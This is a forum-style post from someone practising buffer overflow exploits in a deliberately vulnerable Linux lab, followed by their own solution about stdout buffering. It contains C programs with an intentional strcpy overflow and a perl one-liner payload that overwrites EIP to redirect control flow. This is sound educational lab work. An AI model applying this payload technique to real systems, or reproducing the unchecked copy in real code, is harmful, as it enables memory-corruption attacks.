I have installed the linux distro named DVL (damn vulnerable linux), and I'm exercising with buffer overflow exploits. I wrote two virtually identical programs which are vulnerable to bof:
//bof_n.c
#include <stdio.h>
void bof() {
printf("BOF");
}
void foo(char* argv) {
char buf[10];
strcpy(buf, argv);
prinf("foo");
}
int main(int argc, char* argv[]) {
if (argc >= 1) {
foo(argv[1]);
}
return 0;
}
and
//bof.c
#include <stdio.h>
void bof() {
printf("BOF!\n");//this is the only change
}
void foo(char* argv) {
char buf[10];
strcpy(buf, argv);
prinf("foo");
}
int main(int argc, char* argv[]) {
if (argc >= 1) {
foo(argv[1]);
}
return 0;
}
After that I compiled both of them, and I obtained the bof() function address in both cases (e.g., objdump -d bof.o | grep bof). Let's name such an address ADDR which is on 4 byte.
I also found that if I write 32 byte in the buf variable, the EIP register is completely overwritten (I cannot copy here the output of gdb since it is on a virtual machine).
Now, if I do:
./bof `perl -e 'print "\x90"x28 . "ADDR"'`
I get:
fooBOF!
Segmentation fault
Instead if I try the same approach but using bof_n, I only get the "Segmentation fault" message. Therefore I tried to increment the number of time ADDR value is repeated, and I found that if it is being repeated for at least 350 times, I get the wanted result. But instead of having the output above exactly, I get a long list of "BOF" messages one after the other. I tried to obtain just one "BOF" message, but apparently I cannot do that (I got or zero, or a long list of them). Why this is happening? Any idea?
I'm using DVL with gcc 3.4.6
I found out the solution. The issue was about the printing of the message and not the buffer overflow exploit itself. In fact the register eip was being correctly overwritten also in the bof_n example, and the program flow was being correctly redirected in the bof() function. The problem was that, apparently, the stdout were not flushed out before the Segmentation fault and hence no message was being shown.
Instead, using
fprintf(stderr, "BOF");
, I finally get the "BOF" message.